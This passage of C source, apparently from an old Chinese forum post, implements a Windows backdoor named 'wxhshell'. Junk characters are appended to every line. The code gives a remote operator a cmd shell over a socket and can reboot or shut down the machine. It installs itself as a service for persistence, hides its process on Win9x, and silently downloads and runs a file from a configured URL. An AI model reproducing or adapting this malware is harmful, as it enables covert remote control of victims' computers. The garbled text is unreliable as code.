    break;  2=;ZJ  
  } hfLe<,  
  // 安装 >S`=~4  
  case 'i': { @HMH>;haE  
    if(Install()) *(q{k%/M  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5OGwOZAj52  
    else vb0Ca+}}  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); > `eo0  
    break; ag:<%\2c  
    } O}cfb4"  
  // 卸载 n8!|}J  
  case 'r': { cwaR#-#  
    if(Uninstall()) 2i!R>`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~m=Z>4M  
    else ^Ff fc@=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "~=}&  
    break; T<7}IH$6xE  
    } >BO!jv!a  
  // 显示 wxhshell 所在路径 cp8w _TPU  
  case 'p': { V4"o.G3\o  
    char svExeFile[MAX_PATH]; st"@kHQ3  
    strcpy(svExeFile,"\n\r"); :%mls Nw  
      strcat(svExeFile,ExeFile); 7YTO{E6]d\  
        send(wsh,svExeFile,strlen(svExeFile),0); ~!TrC <ft  
    break; l>`S<rGe  
    } 8b,Z)"(U3  
  // 重启 #Qz 9{1\G  
  case 'b': { iWW!'u$+I`  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); u SZfim@Z7  
    if(Boot(REBOOT)) ZU B]qzmK  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?UflK  
    else { !$iwU3~<  
    closesocket(wsh); ]A-LgDsS  
    ExitThread(0); jK6dI 7h  
    } |Zn,|-iW  
    break; mL}Wan  
    } Iu~(SKr=|$  
  // 关机 \J(~ Nv5!  
  case 'd': {  nSo.,72  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 2i6P<&@  
    if(Boot(SHUTDOWN)) aF"PB h=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]nIVP   
    else { Rb b[N#p5  
    closesocket(wsh); [C 7X#|  
    ExitThread(0); <MhODC")  
    } NODE`VFu  
    break; ct*~\C6Ze  
    } U .^%7.  
  // 获取shell js)E:+{A,  
  case 's': { '2|mg<Ft  
    CmdShell(wsh); :Oj!J&A  
    closesocket(wsh); Us&~d"n  
    ExitThread(0); P&o+ut:  
    break; @d3yqA  
  } 25xt*30M  
  // 退出 'zt}\ Dt  
  case 'x': { o~:({  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); &{M-<M  
    CloseIt(wsh); \3U.;}0_X  
    break; 9ys[xOh WM  
    } >> -{AR0  
  // 离开 G7-.d/8|^  
  case 'q': { W}(xE?9&  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); sV~|9/r  
    closesocket(wsh); M _Lj5`  
    WSACleanup(); W7V#G(cpU  
    exit(1); sDHFZ:W  
    break; =%FhY^-  
        } _3KfY  
  } LwQYO'X  
  } `$;%%/tx  
MGKSaP;x  
  // 提示信息  ,8p-EH  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); S^e e<%-  
} Q;2k bVWY  
  } J0@#xw=+  
,tFLx#e#  
  return; ir )~T0  
} Vc|QW  
Mm"0Ip2"  
// shell模块句柄 F*B^#AZg  
int CmdShell(SOCKET sock) G"<} s mB  
{ 8+_e=_3R  
STARTUPINFO si; ` NvJ  
ZeroMemory(&si,sizeof(si)); ''EFh&F  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; UUgc>   
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ;2eZa|M*q  
PROCESS_INFORMATION ProcessInfo; `@ Ont+  
char cmdline[]="cmd"; vN)l3  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Kzfy0LWM  
  return 0;  #|l#  
} -S $Y0FDV  
)Oj%3  
// 自身启动模式 /Q9iO&Vu  
int StartFromService(void) @2A&eLw LH  
{ cC`PmDGq  
typedef struct nfr..4,:  
{ R? ,XSJ  
  DWORD ExitStatus; ;&RHc#1F  
  DWORD PebBaseAddress; $xj>j  
  DWORD AffinityMask; euh rEjwkH  
  DWORD BasePriority; \"=@uqar2  
  ULONG UniqueProcessId; o:/yme G  
  ULONG InheritedFromUniqueProcessId; fJG!TQJ[Y  
}   PROCESS_BASIC_INFORMATION; Ria*+.k@"B  
yD&UH_ 1g  
PROCNTQSIP NtQueryInformationProcess; AUkePp78  
,?!4P+ob  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 3:P "6mN  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; xOpCybmc  
X9uYqvP\(  
  HANDLE             hProcess; s\1c.  
  PROCESS_BASIC_INFORMATION pbi; N^tH&\G\m  
a: OuDjFp  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); h IUO=f  
  if(NULL == hInst ) return 0; [E%Ov0OC  
K06&.>v_  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Q|HOy8O}Z  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); &f>1/"lnd\  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); KA0_uty/T  
L/J)OJe\  
  if (!NtQueryInformationProcess) return 0; D~<0CQ3n.  
}%eXGdC  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); w w{07g  
  if(!hProcess) return 0; iX'#~eK*<  
:.EVvuXI  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; '^6x-aeq[D  
#v4q:&yKf  
  CloseHandle(hProcess); lW YgIpw  
-jsk-,  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Jyu*{  
if(hProcess==NULL) return 0; {[.<BU-  
wS1zd?  
HMODULE hMod; ]^CNC0  
char procName[255]; k39;7J  
unsigned long cbNeeded; &!FWo@  
?wS/KEl=O  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 1{X ;&y  
mo3HUXf}8  
  CloseHandle(hProcess); {B lM<  
G^Yg[*bJ^$  
if(strstr(procName,"services")) return 1; // 以服务启动 z@em1W0?Z  
q--;5"=S  
  return 0; // 注册表启动 >NN&j#;x~  
} r$Ck:Q}  
}xM >F%  
// 主模块 p8MPn>h<  
int StartWxhshell(LPSTR lpCmdLine) R~DZY{u+/$  
{ 4ky@rcD1  
  SOCKET wsl; kFHtZS(  
BOOL val=TRUE; "Dwaq*L  
  int port=0; n$y)F} .-  
  struct sockaddr_in door; 4!KUPgg  
qBIKJ  
  if(wscfg.ws_autoins) Install(); ?KfV>.()  
u CNi&.  
port=atoi(lpCmdLine); v= I 'rx  
{m+(j (6-  
if(port<=0) port=wscfg.ws_port; /"<o""<]  
zcNv T  
  WSADATA data; ta 66AEc9  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; PxHH h{y%c  
WwM/M!98J  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Ui`Z>,0sFi  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ( AnM _s  
  door.sin_family = AF_INET; Xm2p<Xu8h  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); UjU*`}k3  
  door.sin_port = htons(port); 2U;ImC1g  
S @'fmjA'  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { eO:wx.PW  
closesocket(wsl); IZkQmA=  
return 1; ^/kn#1H7&  
} z!GLug*j`  
\L: ;~L/  
  if(listen(wsl,2) == INVALID_SOCKET) { -q.tU*xf'  
closesocket(wsl); J,k|_JO  
return 1; oopACE>  
} g"iLhm` L  
  Wxhshell(wsl); u/BCl!`  
  WSACleanup(); }vbs6u  
s" jxj  
return 0; o4"7i 9+g  
M1/Rba Q  
} q-fxs8+m|  
t:G67^<3  
// 以NT服务方式启动 C"P40VQoo  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) @;we4G5  
{ m*MfGj(  
DWORD   status = 0; / b_C9'S  
  DWORD   specificError = 0xfffffff; (hn@+hc  
6:(*u{  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Iu`xe  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; O!D0 hW4  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; !V6O~#  
  serviceStatus.dwWin32ExitCode     = 0; q >|:mXR  
  serviceStatus.dwServiceSpecificExitCode = 0; n~g,qEI;<x  
  serviceStatus.dwCheckPoint       = 0; <QyJJQM  
  serviceStatus.dwWaitHint       = 0; xmEmdOoD  
#q"^6C 5  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); KU> $=Rd  
  if (hServiceStatusHandle==0) return; <"g ^V  
Xk_xTzJ  
status = GetLastError(); %!G]H   
  if (status!=NO_ERROR) XJ|CC.]1u  
{ jQp7TdvLE$  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 2?9SM@nAY  
    serviceStatus.dwCheckPoint       = 0; EVW{!\8[  
    serviceStatus.dwWaitHint       = 0; JEK 6Ms;)A  
    serviceStatus.dwWin32ExitCode     = status; 9w Pc03a  
    serviceStatus.dwServiceSpecificExitCode = specificError; B%c):`w8]  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); e.<$G'  
    return; i%8I (F  
  } w>:~Ev]  
]e'Ol$3U9=  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; "?Eh_Dw  
  serviceStatus.dwCheckPoint       = 0; s\6kXR  
  serviceStatus.dwWaitHint       = 0; X/_e#H0  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); w~eF0 {h  
} QGYO{S  
?X1vU0 c  
// 处理NT服务事件,比如:启动、停止 3JiJ,<,7  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ~@x@uY$5  
{ %8)GuxG*  
switch(fdwControl) xbFoXYqgP  
{ ZLBv\VQ  
case SERVICE_CONTROL_STOP: R)AFaP |  
  serviceStatus.dwWin32ExitCode = 0; Ub%al D  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; o!`.LL%  
  serviceStatus.dwCheckPoint   = 0; !}D!_z,)u  
  serviceStatus.dwWaitHint     = 0; +)#d+@-  
  { P~V0<$C  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); q^ {Xn-G  
  } pv.0!a/M  
  return; aN7VGc  
case SERVICE_CONTROL_PAUSE: ZE@!s3\  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 30(O]@f~  
  break; 2Rc'1sCth-  
case SERVICE_CONTROL_CONTINUE: 6OJ`R.DM`  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; $z!o&3c'x  
  break; )p&FDK#ob=  
case SERVICE_CONTROL_INTERROGATE: 4}FuoQL  
  break; NJG-~ w  
}; A#gmKS<J/7  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7u"t4Or  
} e~C^*wL  
9Z,vpTE  
// 标准应用程序主函数 !\Y85o>JU  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) w`(EW>i  
{ rzH*|B0g  
5eI3a!E]O  
// 获取操作系统版本 e7f3dqn0  
OsIsNt=GetOsVer(); E?o1&(2p  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ;Ocih<4k  
N 4$!V}pp  
  // 从命令行安装 }[P1Va[!  
  if(strpbrk(lpCmdLine,"iI")) Install(); p$XL|1G*?H  
 7(;M  
  // 下载执行文件 _L mDF8Q(  
if(wscfg.ws_downexe) { ~7Ey9wRkD  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) aVI/x5p~  
  WinExec(wscfg.ws_filenam,SW_HIDE); zPp?D_t  
} YN1P9j#0d  
+'9l 2DI;  
if(!OsIsNt) { q<L>r?T[  
// 如果时win9x,隐藏进程并且设置为注册表启动 lE~5 b  
HideProc(); b[<zT[.:  
StartWxhshell(lpCmdLine); DGl_SMJb  
} TSHsEcfO  
else e&G!5kz!  
  if(StartFromService()) B w1ir  
  // 以服务方式启动 Om%{fq&  
  StartServiceCtrlDispatcher(DispatchTable); LXr yv;H  
else b !FX]d1~k  
  // 普通方式启动 _RT3Fk  
  StartWxhshell(lpCmdLine); CQf!<  
5Z]zul@+*  
return 0; COe"te  
}
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只看该作者 1 发表于: 2006-10-10
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